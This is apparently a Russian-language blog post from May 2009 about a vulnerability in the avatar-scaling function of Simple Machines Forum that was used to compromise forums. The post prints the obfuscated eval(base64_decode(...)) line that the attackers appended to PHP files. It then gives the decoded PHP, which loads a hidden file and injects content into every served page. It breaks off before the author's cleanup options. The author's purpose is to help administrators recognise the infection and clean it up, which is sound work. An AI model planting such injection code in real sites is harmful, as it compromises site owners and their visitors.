В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:

[-]
View Code PHP
< ?php /**/eval(base64_decode('aWYoZnVuY3R(поскипано)9fQ==')); ?>

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

[-]
View Code PHP
< ?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
    $GLOBALS['sh_no']=1;
    if(file_exists('.../style.css.php')){
        include_once('.../style.css.php');
        if(function_exists('gml')&&!function_exists('dgobh')){
            if(!function_exists('gzdecode')){
                function gzdecode($d){
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4){
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2){
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE){
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b){
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c)){
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else{
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
}
?>

“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта. Далее

23
Май
2009